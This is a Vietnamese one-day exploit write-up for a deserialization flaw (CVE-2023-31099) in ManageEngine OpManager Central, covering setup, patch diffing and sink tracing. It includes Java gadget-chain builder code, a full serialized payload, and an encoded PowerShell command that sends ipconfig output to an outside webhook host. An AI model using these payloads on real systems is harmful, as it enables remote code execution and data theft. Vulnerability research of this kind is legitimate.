Việc hôm nay chớ để 1DAY(CVE-2023-31099)
I. Tản Mạn
Câu chuyện là mình đến kì đồ án, muốn thử sức build query Codeql nên mình quyết định poc 1 cái CVE để thêm vào báo cáo đồ án cho uy tín. Vậy thì tại sao không phải là 1 cái 1Day deserialize nhỉ ??
Một số điều về CVE-2023-31099:
—————————-Hình 1. Liên kết giữa probe và central—————————
Từ những thông tin về lỗ hổng và Hình 1, mình đoán lỗ hổng nằm ở việc giao tiếp giữa probe-central, và lỗ hổng sẽ nằm phía Central.
Do đó chúng ta cần phải có :
1 bản probe để giao tiếp với central
2 bản central: 1 bản central vuln và 1 patch diff để source.
Link download các bản:
https://archives3.manageengine.com/opmanager/126323/
https://archives3.manageengine.com/opmanager/126324/
II. Setup
Bước 1: Cài đặt 2 phiên bản OpManage Central 126323(vuln) và 126324(patch) ở 2 máy khác nhau để tránh bị ghi đè thư mục. Nếu việc cài đặt trơn tru, OP manager central của bạn sẽ được cài đặt ở port 8060 và 8061.
Bước 2: Cài đặt OpManage probe ở server nào cũng được. Khi cài đặt sẽ cần liên kết với 1 Central(ở đây là bản vuln 126323).
Bước 3: Để bắt được giao tiếp từ probe tới central, cần phải setup proxy cho gói tin giao tiếp đi qua burp. Thật may OpManage probe cũng hỗ trợ điều này khi cài đặt
Bước 4: Debug ftw
III. Setup Debug phía server
Setup debug thật sự làm khó mình. Đây là lần đầu tiên mình setup debug cho Java ( Thật ra là lần đầu setup debug không riêng gì Java). Ta sẽ xem xét các process của chương trình, xem xem config xuất phát từ đâu và chỉnh sửa nó.
Check qua Process Hacker
ta thấy có process java.exe
đang handle port 8061 được chạy. Nhấn chuột phải > Go to process
. Có thể thấy Process này được spawn bởi Wrapper.exe
.
Đọc command khi run process wrapper.exe
đó thì thấy có load config từ file wrapper.conf. Xem file wrapper.conf thì thấy đúng là có các options java kèm theo của chương trình java.exe ở trên. Tiếp theo ta chỉ cần add thêm options để debug là được.
Có 2 options thường hay sử dụng để debug, đó là (tùy vào version Java):
1. -Xdebug
-Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=n
2. -agentlib:jdwp=transport=dt_socket,address=5005,server=y,suspend=n
Mình chọn option 1. Sau khi thêm options debug vào và khởi động lại service, thấy có listen trên port 5005 là thành công.
IV. Setup debug phía Client
Bước 1: Xác định phiên bản Java Opmanage dùng
Đọc file setENV.bat
nhận thấy java mà OPmanage sử dụng là Java 8.64.0.19-jdk8.0.345
của zulu
Bước 2: Lấy ra các file Jar mà OPmanage dùng (ở đây vì lười nên mình sẽ lấy hết bằng snippet code của anh K4ito).
import os
import shutil
import glob
def copy_jar_files(source_dir, dest_dir):
# Create the destination directory if it doesn't exist
if not os.path.exists(dest_dir):
os.makedirs(dest_dir)
# Recursively search for JAR files in the source directory and its subdirectories
jar_files = glob.glob(os.path.join(source_dir, "**/*.jar"), recursive=True)
for jar_file in jar_files:
# Copy the JAR file to the destination directory
# print(jar_file)
if '\jre\\lib' in jar_file:
print(jar_file+" in java")
shutil.copy2(jar_file, dest_dir)
print(f"Copied {jar_file} to {dest_dir}")
# Example usage
source_directory = "E:\Research\\1-day\CVE-2023-31099-ManageEngine_OpManager\OpManagerCentral126323\OpManagerCentral"
destination_directory = "E:\Research\Lab\Library\OpManager_126323"
copy_jar_files(source_directory, destination_directory)
Sau khi có hết các library file Jar vào 1 thư mục (ta gọi là thư mục Lib), ta sẽ thực hiện thêm 1 bước mapping source, ước này không cần làm vẫn có thể debug được bình thường (tuy nhiên mình recommend có bước này vì sẽ giúp chúng ta trace ngược code, sink → source, nếu không thì mình chỉ có thể trace xuôi, vì không có source code sẽ không thể sử dụng chức năng Find usages, Find text, … của IDEA).
Ở bước này, ta sẽ zip hết các file jar lại thành 1 file zip, sử dụng tool JD-GUI và open file zip đó. Để đẹp và debug được đúng dòng code, vào Help → Preferences và click chọn Realign line numbers và bỏ chọn Write original line numbers. Sau đó, chỉ cần chọn Save all sources, ta sẽ được 1 file zip của các file zip source. Extract file zip đó và ta sẽ được 1 folder chứa các file zip source gọi là folder Sources (phân biệt với folder Lib ở trên).
Bước 3: Bật IDEA IntelliJ và chọn New project và setup path của JDK trỏ vào thư mục Java của Zulu mà mình đã down ở trên.
Sau đó, chọn File → Project Structure → Libraries → + → Java
Nhớ tắt firewall nếu bạn dùng windows ở phía server
V. Diff patch
Ta sẽ diff dựa vào thư mục cài đặt của 2 server Central. Sử dụng công cụ MeldMerge để diff 2 thư mục và tool IDEA để diff 2 file.
Trước tiên ta sẽ đi diff các file JAR ở các CLASSPATH
của chương trình. Sau khi mò mẫm thì thấy có file tên setEnv.bat
có vẻ để set các biến môi trường, trong đó có các CLASSPATH
.
Các bước diff patch mà mình thực hiện như sau:
Diff các folder
CLASSPATH
này trướcDiff các file có sự thay đổi
Xem xét sự thay đổi có liên quan trực tiếp (key points) với mô tả lỗi không
Quay lại bước 1
Sau khi không tìm thấy gì nữa thì mình sẽ xem thay đổi các file khác ngoài rìa như .conf, .properties,…
Kết quả khi diff patch folder classes
Sau khi diff hết các file JAR này, ta sẽ thấy key points của lỗ hổng này nằm ở file OpManagerDistribution.jar
Bên trái là bản vuln, bên phải là bản patch. Sau khi xem xét thì bản patch đã whitelist các class được quyền deserialize( thông qua classname)
VI. Analysis
Bắt đầu từ DataObject.getObjectData
, trace ngược, ta có thể thấy 1 số source gọi đến sink này. Nhưng vì mình có kinh nghiệm ( đọc tất cả các source lab này 😢 ) nên mình đoán mình nên đi theo hướng SPPRegionalCommBE
.
Để gọi được phương phức dataObject.getObjectData()
cần phải call thông qua phương thức transferDataToNOC
của class SPPRegionalCommBE
Trace thêm lần nữa có thể thấy phương thức transferDataToNOC
kể trên được call khi có 1 gói Post call (class RegionalListener
)
Đọc file web.xml
có thể thấy được chúng ta cần Post tới /servlet/com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener
Quay trở lại file RegionalListener
, có 1 dòng SetcClassName
đang thực hiện whitelist để phòng tránh việc insecure deserialize. Vậy thì phải làm thế nào ??
Hãy flashback
lại 1 chút vào sink dataObject.getObjectData()
. Nơi mà chúng ta cần trigger là thuộc tính data
( byte[] ), ở đây không có có filter gì cả.
Source
và sink
đã tìm được, bây giờ chúng ta sẽ đặt breakpoint để tìm điều kiện cần để source
tới được sink
. Đặt break point tại dòng 85 của file RegionalListener
Spam Step into
, nhận thấy để tới được dòng 392 (sink) thì cần phải có dataObject.getNotificationType() == 24
và dataObject.getDataPriority() == 0
. Tuy nhiên hiện tại dataObject.getNotificationType()=0
Lúc này chúng ta cần dùng Java Reflection
của Java để sửa thuộc tính hoặc tận dụng các phương thức public sẵn của class
Tiếp tục, để vào được nhánh If dòng 391 chúng ta cần phải sửa đổi thuộc tính userProps
của dataObject
(private Properties userProps) và thuộc tính Property
của dataObject.getUserProperties()
(vì hiện tại userProps
đang là null)
Dưới đây là cả 4 câu lệnh để setup các biến đã nói ở trên
dataObject.setNotificationType(24)
dataObject.setDataPriority(0)
dataObject.setUserProperties(new Properties())
dataObject.getUserProperties().setProperty("regReqID","0")
Tiếp tục chúng ta cần !this.isDataEncrypted =true
và this.object != null
(đã thỏa mãn) để vào được nhánh else
Cuối cùng để tránh phải encrypt payload ở this.data
ta cần phải set cho this.isDataEncrypted =false
(đa thỏa mãn). Ngoài ra nhánh else ở dòng 248 thực hiện decompress this.data
, điều đó có nghĩa là chúng ta cần phải compress this.data
nếu muốn payload hoạt động đúng. Vừa hay ta chỉ cần dùng Java Reflection
để thực hiện điều đó thông qua phương thức setByte
của class DataObject
Hướng đi đã có, giờ là lúc để xây Payload
VII. Payload build
Soi tới soi lui ysoserial
, mình quyết định thử combo CommonsBeanutils1
, lý do là vì OPmanage dùng cả 3 class commons-beanutils
, commons-collections
, commons-logging
chỉ khác về version của 2 class commons-beanutils
, commons-collections
.
Với tinh thần sai đâu sửa đấy (từ anh LinhDD8 và anh K4it0), mọi người bảo mình cứ build payload bằng tool, sau đó xem version các file jar kia thay đổi gì thì tính tiếp.
Bước 1: add ysoserial-all.jar
vào new Project , sau đó dùng script sau build payload
package payloadbuild;
import java.io.*;
import java.util.Base64;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
public class Payloadbuild {
// Tạo object payload
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// Mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// Create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
// Stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// Switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// Switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
// Serialize object and encode as Base64 string
public String serializeToBase64(Object object) throws IOException {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(object); // Serialize object to byte array
oos.flush();
return Base64.getEncoder().encodeToString(baos.toByteArray()); // Encode bytes to Base64
}
}
// Decode Base64 string and deserialize object
public Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64String); // Decode Base64 to byte array
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject(); // Deserialize object from byte array
}
}
public static void main(final String[] args) throws Exception {
Payloadbuild payloadBuild = new Payloadbuild();
// Generate payload object
Object object = payloadBuild.getObject("calc.exe");
// Serialize object to Base64 string
String base64Payload = payloadBuild.serializeToBase64(object);
System.out.println("Serialized Payload (Base64):");
System.out.println(base64Payload);
// Deserialize object from Base64 string
// Object deserializedObject = payloadBuild.deserializeFromBase64(base64Payload);
// System.out.println("Deserialized Object:");
// System.out.println(deserializedObject);
}
}
Ta nhận được đoạn base64
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABpzK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAIY2FsYy5leGUIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXIxMzEyNzA3MjYzODUwMAEAH0x5c29zZXJpYWwvUHduZXIxMzEyNzA3MjYzODUwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==
Bước 2: add 3 class commons-beanutils-1.9.4.jar
, commons-collections4-4.3.jar
, commons-logging-1.2.jar
sau đó bỏ ysoserial-all.jar
khỏi các lib import. Rồi dùng script dưới đây:
package payloadbuild;
import java.io.*;
import java.util.Base64;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
public class Payloadbuild {
//
// // Tạo object payload
// public Object getObject(final String command) throws Exception {
// final Object templates = Gadgets.createTemplatesImpl(command);
//
// // Mock method name until armed
// final BeanComparator comparator = new BeanComparator("lowestSetBit");
//
// // Create queue with numbers and basic comparator
// final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
//
// // Stub data for replacement later
// queue.add(new BigInteger("1"));
// queue.add(new BigInteger("1"));
//
// // Switch method called by comparator
// Reflections.setFieldValue(comparator, "property", "outputProperties");
//
// // Switch contents of queue
// final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
// queueArray[0] = templates;
// queueArray[1] = templates;
//
// return queue;
// }
// Serialize object and encode as Base64 string
public String serializeToBase64(Object object) throws IOException {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(object); // Serialize object to byte array
oos.flush();
return Base64.getEncoder().encodeToString(baos.toByteArray()); // Encode bytes to Base64
}
}
// Decode Base64 string and deserialize object
public Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64String); // Decode Base64 to byte array
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject(); // Deserialize object from byte array
}
}
public static void main(final String[] args) throws Exception {
Payloadbuild payloadBuild = new Payloadbuild();
// Deserialize object from Base64 string
Object deserializedObject = payloadBuild.deserializeFromBase64("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABpzK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAIY2FsYy5leGUIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXIxMzEyNzA3MjYzODUwMAEAH0x5c29zZXJpYWwvUHduZXIxMzEyNzA3MjYzODUwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==");
}
}
Ta nhân được lỗi là không tìm được class org.apache.commons.collections.comparators.ComparableComparator
.
Tuy nhiên code gen payload của chúng ta mới chỉ sử dụng import org.apache.commons.beanutils.BeanComparator
, nên rất có thể BeanComparator
đã thực hiện import org.apache.commons.collections.comparators.ComparableComparator
nhưng không thành.
Thật vậy, nhảy vào class BeanComparator
, ta phát hiện ra BeanComparator
đã thực hiện import org.apache.commons.collections.comparators.ComparableComparator
. nhưng commons-collections4-4.3.jar
lại chỉ có packet org.apache.commons.collections4
Bước 3: Gen lại payload (this.data) + kiểm tra việc thực thi
Bước 4: Tạo Payload để endgame. Không rõ vì sao payload calc.exe
chạy ở máy attacker thì đc máy server k được nên mình quyết định dùng payload
powershell.exe -e YwBtAGQALgBlAHgAZQAgAC8AYwAgACIAaQBwAGMAbwBuAGYAaQBnACAAfAAgAGMAdQByAGwAIAAtAFgAIABQAE8AUwBUACAAIAAtAC0AZABhAHQAYQAtAGIAaQBuAGEAcgB5ACAAQAAtACAAaAB0AHQAcABzADoALwAvAHcAZQBiAGgAbwBvAGsALgBzAGkAdABlAC8AYgAxADcANgA3ADAANgA3AC0AMwA2ADEAMwAtADQAMAAzAGMALQBhADkAOQA0AC0AMwBlADUAYQA1ADIANQAxADEANABkADAAIgA=
Sau khi gửi payload tới server, RCE thành công
Cảm ơn ông anh K4it0 đã hướng dẫn thằng em👌